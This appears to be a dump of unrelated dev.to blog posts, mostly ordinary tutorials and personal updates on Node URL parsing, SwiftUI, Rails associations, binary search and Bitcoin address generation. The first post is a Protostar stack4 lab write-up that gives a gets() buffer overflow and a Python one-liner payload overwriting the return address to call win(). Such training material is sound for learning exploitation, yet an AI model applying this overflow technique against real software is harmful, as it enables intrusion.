teleren/devto huggingface dataset:
Rewrite instruction pointer (protostar - stack4)
Published: 2020-12-11 23:55:45

This is the 5th exercise of the protostar series. This is about exploiting a buffer overflow to rewrite the instruction pointer.

Here is the source we're about to exploit.

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

Ok so now we only have a `gets()` that reads our input and a `win` function lying in virtual address space that doesn't get called. Can we find a way to call it? Sure!

`fgets` is vulnerable to overflow. Our destination buffer is 64 bytes long. If we overflow it, we're going to overwrite the stack. There is some useful values lying on stack, on top of our buffer: the previous stack pointer (actual base pointer but also the previous next instruction pointer). This next instruction pointer (IP) will be used to fetch the instruction following our function call. Here, `main` gets called by some library wrapper function but there is some code after `main` that we can change due to the overflow vulnerability.

We can use `nm` as previously shown to discover `win` address:
```
root@protostar:/opt/protostar/bin# nm stack4 | grep win
080483f4 T win
```

Now we have to find the instruction pointer backup lying on stack. To do so, we can craft the follwing payload, increasing the overflow length to properly jump on `win`:
```
buffer + overflow + win address
```

We end up with the following:

```
root@protostar:/opt/protostar/bin# python -c "print('A'*64 + 'B' * 12 + '\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault
```

We successfully called `win` but this ended up with a **segmentation fault** because `win` stack frame couldn't have been set up properly. 

## Links

- https://en.wikipedia.org/wiki/Function_prologue
- https://www.cgsecurity.org/exploit/P55-08
Telescope: Fixing the "small bug" (2/3)
Tags: opensource, node
Published: 2020-12-11 23:46:21

## Intro
In the last blog I talked about fixing a small bug in telescope. Well while I was trying to follow the plan. Someone on slack said that previous commit caused this issue and there is also a comment on the [issue](https://github.com/Seneca-CDOT/telescope/issues/1442). Well the fix is simple I can just revert the change which was to edit a docker file.
``` 
Issue -> ELASTIC_URL=http://elasticsearch:${ELASTIC_PORT}
Solution -> ELASTIC_URL=http://elasticsearch
```
## Code Review
This was a simple solution but this would not fix the root of the issue in the future if someone changes the environment variable we would have the same problem. So, I created a function in the Elastic.js file to parse the URL.

The First version was the following.
```
const parseUrl = (url, port) => {
  let result;
  try {
    const urlObj = new URL(url);
    urlObj.port = port;
    if (urlObj.port !== '') {
      result = urlObj.href;
    }
  } catch (e) {
    result = null;
 }
return result;
}
const elasticUrl = parseUrl(ELASTIC_URL, ELASTIC_PORT) || 'http://localhost:9200';
```
This version changes the port and if it is not an empty port we send the href back or else we can have undefined or null. This version has a couple problems we are returning 2 false values null and undefined and we do not need to have an if statement. I also found out that telescope had many instances of using the legacy NodeJS URL library. So, This function can now globally for all URL with ports coming in from the environment for example redis.js. So, the next step was to make this function global and also update the utilization of NodeJS URL Library throughout the project. I also want to add a bunch of tests for this function.

The difference between the legacy URL library and the current URL library is that the legacy version does not use a class, It instead used an object and functions to parse. So if I wanted to destructure it or parse it I would need to use the parse function like this
```
// legacy
  const { port, host } = url.parse('http://localhost:3000', true);
// current
  const { port, host } = new URL(''http://localhost:3000'');
```
## The New Plan
To finish this feature I now need to add
- Make the function global
- Add Testing
- Update all instances of legacy URL library use
Planning ... - part 1 of OSD0.4
Published: 2020-12-11 23:30:19

Nobody tax you for dreaming (A quote by me). So ya, I planned to make some contribution on AI and Python. Because reason one (AI), I like AI. I have two other classes Big Data and Computer vision. Both of them somehow related to AI. It's great imaging using AI to explore Space or Biological research, things can get so much easier and faster. That's how I like AI and hope it is a good thing to humanity. Second reason (Python) was not because I like it, but because I have been working with it this whole semester. My curiosity for Python has faded because my problem with it for the last few weeks :(.
Looking for the repo took some times. It should not be too big, but also not too small. It should not have too many contributor (too hard), but not too least (too easy). It must be recent, but not too new. Blah blah blah. Anyways, I found one, it's a part from Tensorflow (the most popular, biggest AI repo). I picked an issue regarding dataset because I like dealing with data, data analyst, data scientist,... and start reading.
Telescope: The Plan Is to fix a small bug (1/3)
Tags: opensource, node, beginners
Published: 2020-12-11 23:00:56

## Intro
I saw a message on the Telescope Slack that there was a bug with the URL parser for elastic search where the URL would have the port twice for example if the URL was http://elasticsearch:9200 the parser would add the port without checking if it had one. So, there would be an error because the URL was this http://elasticsearch:9200:9200. Which was causing an error for obvious reasons. My solution was to check if the URL has a port and it would not add a port but if it did not it would. I was going to implement it with the URL in NodeJS. The URL class in NodeJS allows us to check for port and host very easily and I though it would be the perfect solution.

## NodeJS URL
The NodeJS URL Library has the URL class, to use it you can do the following
```
const link = new URL('http://localhost:3000');

console.log(link); 

/*
URL {
  href: 'http://localhost:3000/',
  origin: 'http://localhost:3000',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'localhost:3000',
  hostname: 'localhost',
  port: '3000',
  pathname: '/',
  search: '',
  searchParams: URLSearchParams {},
  hash: ''
}
*/


```
This will create a class with a bunch of properties
which you can then call or add to.
![](https://cdn.discordapp.com/attachments/153626925200441344/787090409482354699/unknown.png)
The coolest part is, it will automatically decline invalid properties. For example lets say we have Class above and we wanted to change the port
```
const link = new URL('http://localhost:3000');
// valid port
link.port = 8000;
console.log(link.href); // http://localhost:8000/

// resetting port
link.port = "";

// invalid port
link.port = "invalid"

console.log(link.href); // http://localhost/

```
As, you can see the port is automatically declined and just does not accept it as an input.
## The Plan
The plan is to use this class to fix the small bug. The Issue is here [https://github.com/Seneca-CDOT/telescope/issues/1442](https://github.com/Seneca-CDOT/telescope/issues/1442) and I had the following plan use the URL class to fix this at the root of the problem and it would not matter what our environment host and ports are.
How to Use Link to Open Webpages in SwiftUI
Tags: swift, ios, swiftui
Published: 2020-12-11 22:58:20

---
title: How to Use Link to Open Webpages in SwiftUI
published: true
description: 
tags: #swift #ios #swiftui
//cover_image: https://direct_url_to_image.jpg
---
<!-- wp:paragraph -->
<p>SwiftUI makes opening a URL with your default web browser super easy with the <strong>Link</strong> view. All you need to do is give it a title and a destination URL. Let us take a look at the example below.</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>import SwiftUI

struct ContentView: View {
    var body: some View {
        Link("Swift Tom!", destination: URL(string: "https://www.swifttom.com/")!)
        
    }
}
</code></pre>
<!-- /wp:code -->

<!-- wp:gallery {"ids":[1352,1353],"linkTo":"none"} -->
<figure class="wp-block-gallery columns-2 is-cropped"><ul class="blocks-gallery-grid"><li class="blocks-gallery-item"><figure><img src="https://swifttomcom.files.wordpress.com/2020/12/simulator-screen-shot-iphone-12-2020-12-11-at-17.05.00-1.png?w=473" alt="" data-id="1352" data-link="https://swifttom.com/simulator-screen-shot-iphone-12-2020-12-11-at-17-05-00-1/" class="wp-image-1352"/></figure></li><li class="blocks-gallery-item"><figure><img src="https://swifttomcom.files.wordpress.com/2020/12/simulator-screen-shot-iphone-12-2020-12-11-at-17.05.05-1.png?w=473" alt="" data-id="1353" data-link="https://swifttom.com/simulator-screen-shot-iphone-12-2020-12-11-at-17-05-05-1/" class="wp-image-1353"/></figure></li></ul></figure>
<!-- /wp:gallery -->

<!-- wp:paragraph -->
<p>As you can see in our example we are added a title of "Swift Tom!" and our destination URL swifttom.com. If we go and run this code in our simulator we will see our Link button that when it is tapped will bring us to my swifttom.com webpage. </p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>Hope you enjoyed this quick look at how we can use Link views to our SwiftUI project.</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>For more on how to use Link views we can check out Apple's Documentation <a href="https://developer.apple.com/documentation/swiftui/link">here</a>.</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>🔗🔗🔗 Happy Coding! 🔗🔗🔗</p>
<!-- /wp:paragraph -->
Cortx hackathon Submission - 2nd Place
Published: 2022-12-09 14:09:22

---
title: Cortx hackathon Submission - 2nd Place
published: true
date: 2020-12-11 22:41:11 UTC
tags: 
canonical_url: https://blog.niradler.com/cortx-hackathon-submission-2nd-place
---

[CORTX](https://github.com/Seagate/cortx) is a distributed object storage system designed for great efficiency, massive capacity, and high HDD-utilization. CORTX is 100% Open Source

I choose to leverage the advanced storage with great compatibility for creating Cloudinary clone, for those who don't know Cloudinary is a saas platform to manage images at scale, they have features like editing images on the fly to the size you need and many more, the project called CORTX-Images, you can find the code [here](https://github.com/niradler/cortx-images)

Demo:

![](https://github.com/niradler/cortx-images/raw/master/static/demo.gif)

Presentation:

<iframe src="https://docs.google.com/presentation/d/e/2PACX-1vSvgL0ktF7jRVorauCk4B8D8149VljEaSGzr1WRW2WFzdFY7vVFs5IjKVbF4yat4IJHYQ_svRk8r0hE/embed?start=false&amp;loop=false&amp;delayms=5000" width="960" height="569"></iframe>
Upskill on JavaScript topics like closure, composition, and RegEx with these tutorials
Tags: javascript, tutorial, webdev
Published: 2020-12-11 22:15:08

---
title: Upskill on JavaScript topics like closure, composition, and RegEx with these tutorials
published: true
description: A collection of tutorials on the foundations of the languuage like closures but also patterns like composition and an amazingly powerful tool like RegEx
tags: javascript, tutorial, webdev
//cover_image: https://direct_url_to_image.jpg
---

{% link https://dev.to/itnext/how-you-can-learn-closures-in-javascript-and-understand-when-to-use-them-2lk5 %}

Closures are amazing, but it's also a bit of a misunderstood topic. Lets dive into Closure and learn about what a useful construct it is. I can promise bboth an explanation of what it is, in what cases it can confuse. Finally I will show some good use cases.

{% link https://dev.to/itnext/learn-and-use-composition-in-javascript-and-typescript-3f17 %}

Composition over inheritance, how often have you heard that statement? Too often if you've programmed a while. JavaScript has its own way to create composition. No need to create classes, if you don't want to.

{% link https://dev.to/softchris/how-you-can-learn-enough-regex-for-javascript-to-be-dangerous-4b4b %}
Most people swear at RegEx and yes it's a tricky topic. But just by understanding _enough_ it can really change how you code. But as with everything, it shines it certain contexts. So lets learn enough, with this beginner to intermediate tutorial :)
Telescope: a high severity vulnerability 
Tags: opensource
Published: 2020-12-11 22:11:22

![](https://user-images.githubusercontent.com/25188774/100435038-5c1d7380-306b-11eb-9ded-bee7c7f60147.png)
So, I was trying to run telescope locally and I ran it and it had a high severity vulnerability in one of the npm packages. The Package that was of issue was passport-saml. The issue was having an outdated version and it needed an update I ran the npm fix command and it was fixed. This could have been very bad as I did not know if this would break telescope local login. I ran the tests and It worked. 

I still did not know that I needed to test the local login system and had no clue as to how to. I submitted a pull request. I received a great review letting me know to test this the local login in order to test whether or not this update broke anything. I read the docs and found how to login locally using passport-saml. run docker build and get the SAML2 server up and running. Then, I needed to start backend and frontend. Then login with the fake user data to test passport-saml and I was able to login confirming that the update did not break anything.
![](https://user-images.githubusercontent.com/25188774/100492647-3c825b80-30fc-11eb-9f9d-d92bfbf2f365.png)
Overall, I learned I probably should not update packages I don't know about, before knowing how it is being used and what is causing the issue. This experience did let me gain a greater insight in the telescope workflows and overall was not to diffcult.
Divide and Conquer
Tags: algorithms, beginners, python
Published: 2020-12-11 21:56:54

Divide and Conquer is a popular algorithm technique normally used on an array/list. The idea is to divide the list in half until you find your target or left <= right condition is not met. This reference will mainly be for reference for those who don't remember how binary search works.

```python

def binary_search(nums, target):
  left = 0
  right = len(nums) - 1

  while left <= right:
    mid = left + ((right - left) // 2)

    if nums[mid] == target:
      return mid

    if target < nums[mid]:
      right = mid - 1
    else:
      left = mid + 1
  return -1
```

Below shows how binary search would work with an odd number of elements in the list.
![odd list](https://dev-to-uploads.s3.amazonaws.com/i/6juqufae7zkx5hg3ci4q.png)

Below shows how binary search would work with an even number of elements in the list.
> Note: With an even number of elements we pick the left element instead of the right.

![even list](https://dev-to-uploads.s3.amazonaws.com/i/l2ofp5nkbgfplnnj2ho9.png)

Thank You for reading! I'm hoping to do this for more algorithm patterns.
Interview week
Published: 2020-12-11 21:52:18

This week I had my 2 interviews. The phone screening went well and I was offered a position within Infosys upon completion of 8-9 weeks of training and a reinterview. Unfortunately it only pays 35k and relocation is required(out of state). I feel that it is a good opportunity but will not be my first option. The tech interview for Remitly went well and I was able to complete all of the questions that were required of me when asked and even did some bonus questions. I was told to wait until the other applications and interviews are done before setting up the final phone screening interview that will contain an offer. I understand their desire to find the best fit for their company but I am getting a bit impatient as I would really like to get this position. I still am yet to complete the SmartSheet coding assessment and was sidetracked by other things in my life this week. I am going to study today and tomorrow and plan on completing the assessment at the latest on Monday the 14th.
Just launched! Orbital: Open-channel, audio-first communication for remote teams
Published: 2020-12-11 21:41:03

We've just launched Orbital, the open-channel, audio-first communication tool where remote teams engage more naturally. Our goal is to eliminate friction in day-to-day communication, reduce the feeling of isolation and Zoom burnout, and help remote teams get back some of the benefits of working in an office together.

You can see a video demo of how it works and sign up for a free 30-day trial at https://www.orbital.chat. We'd love to have you try it out and hear your feedback!
 
- Ashley
Receive Bitcoin from BIP32 in Rails 6
Tags: ruby, rails, blockchain
Published: 2020-12-11 21:20:56

To implement Bitcoin in Rails 6 to receive payment without private keys and full-node, MoneyTree gem is perfect solution. Allow creation of **Master Public Key** on offline device, and creation of different address for each payment from *MPK* on production server. Here is a simple implementation of this:

```ruby
module Bip32

  private

  #   key should be defined as ENV config variable!
  KEY = 'xpub6AvUGrnEpfvJJFCTd6qEYfMaxry******************qV9cfBUbeUEgNYCCP4omxULbNaRr'
  API = BlockCypher::Api.new

  def initialize_wallet_node!
    MoneyTree::Node.from_bip32(KEY)
  end

  def generate_new_pubkey(index)
    wallet = initialize_wallet_node!
    depth  = wallet.depth
    path   = "M/#{depth}/#{index += 1}"
    pubkey = wallet.node_for_path path
    return pubkey if pubkey
  end

  def get_address_data(address)
    balance = API.address_balance(address)
    return balance if balance
  end

  def payment_success?(address, price)
    data = get_address_data(address)
    data ? coins = data[:balance] : coins = 0
    return true unless coins < price
  end

end

#  HOW TO USE
#
#  If you have :transactions table with :index column, you could do something like this:
#
#
#  data  = Transaction.last                  =>  Find last transaction index or use 0
#  data ? index = data.index : index = 0
#  
#  wallet   = generate_new_pubkey(index)     =>  Generate new public-key from MPK
#  @address = wallet.to_address              =>  Generate address from public key
#  @index   = wallet.to_index
#
#  bitcoin    = get_address_data(@address)   =>  Get address data from BlockCypher
#  address    = JSON.parse(bitcoin)
#    balance  = address[:balance]
#    conf_tx  = address[:n_tx]
#    uncon_tx = address[:unconfirmed_n_tx]
#    uncon_bl = address[:unconfirmed_balance]
#
#
#  or to finalize current order:
#
#  Transaction.finalize! if payment_success?(@address, @transaction.price)
```
In *production* MPK should be defined as **ENV** variable.
For checking transaction data I used **BlockCypher api**, the fastest method *:address_balance*. It returns JSON data with confirmed and unconfirmed balance and number of transactions. It's enough to check is order ready for shipping or not.
I need to Learn Project Management 
Tags: help, projectmanagement
Published: 2020-12-11 21:20:11

---
title: I need to Learn Project Management 
published: true
description: I need to learn some project management/ how to estimate time it takes to complete tasks & projects
tags: help, ProjectManagement

---
I need some help, I am becoming frustrated with my CEO micromanaging his "HOT" requests.

I need some resources, class, books, tools to tackle this and show what I have been working on and such.
🎨 Bracket Pair Colorizer
Tags: extension, vscode, developer
Published: 2020-12-11 21:01:34

{% twitter 1337456152334876672 %}

I have been coding for a while now, and identifying blocks, notations, opening and closing tags within heavily nested loops and functions is more of a nightmare for me.

Recently, I get to know about the [Bracket Pair Colorizer extension](https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer-2) in Visual Studio Code, life savior extension! This extension allows matching brackets to be identified with colours. By default `()`, `[]`, and `{}` are matched, however, custom bracket characters can also be configured.

It enhances the way that we write code and helps in a better understanding of the mess going on, in the code editor.

You can install [Bracket Pair Colorizer](https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer-2) using the VS Code extension marketplace. Hit install and make sure to reload after installation 🤗

## **Cheers & Happy Sharing! ❤️**
HAS_MANY THROUGH
Published: 2020-12-11 20:57:00

HAS_MANY THROUGH ASSOCIATIONS!

I finally got to Rails!... I personally feel has_many through associations need a deeper explanation than what you find in https://guides.rubyonrails.org/association_basics.html#the-has-many-through-association 
 
As my project has these types of associations, I thought it would be of great value to whoever reads my blog posts. 
Here is my schema: 

 ActiveRecord::Schema.define(version: 2020_11_23_171000) do

  create_table "landmarks", force: :cascade do |t|
    t.string "name"
    t.string "city"
    t.string "country"
    t.text "description"
    t.datetime "created_at", precision: 6, null: false
    t.datetime "updated_at", precision: 6, null: false
  end

  create_table "reviews", force: :cascade do |t|
    t.string "review"
    t.integer "landmark_id"
    t.integer "user_id"
    t.datetime "created_at", precision: 6, null: false
    t.datetime "updated_at", precision: 6, null: false
  end

  create_table "users", force: :cascade do |t|
    t.string "username"
    t.string "email"
    t.string "password_digest"
    t.datetime "created_at", precision: 6, null: false
    t.datetime "updated_at", precision: 6, null: false
  end

end

 

What has_many through does is create a join table by connecting, in this case, three models which will work as many to many relations. In  my join table above is “REVIEWS”  containing a “landmark_id” and “user_id” as attributes which are called FOREIGN KEYS. These keys are many to many relations to my other two models “USERS” and “LANDMARKS”.

Once you have your migrations set up, you move into your models by creating the association itself. 

LANDMARK CLASS: 

class Landmark < ApplicationRecord
   has_many :reviews, dependent: :destroy
   has_many :users, through: :reviews
   scope :find_name, -> (name) {find_by(name: name)}
 
   validates :name, presence: true
   validates :city, presence: true
   validates :country, presence: true
   validates :description, presence: true
 
end


REVIEW CLASS:

class Review < ApplicationRecord
    belongs_to :user
   belongs_to :landmark
   validates :review, presence: true
 
 end

USER CLASS:

class User < ApplicationRecord
 
   has_secure_password
 
   has_many :reviews
   has_many :landmarks, through: :reviews
 
   validates :username, presence: true, uniqueness: :true
   validates :email, presence: true, uniqueness: :true
 
  
end




The drawing above is my migrations representation, which is what I expressed on my schema.
Active Record is pretty magical and by doing this association, when you see  the model USER has_many :landmarks through reviews  means that the instances of our USER now responds to a method called Landmarks. This will return a collection of LANDMARKS that share a REVIEW with the USER. 


HAPPY CODING!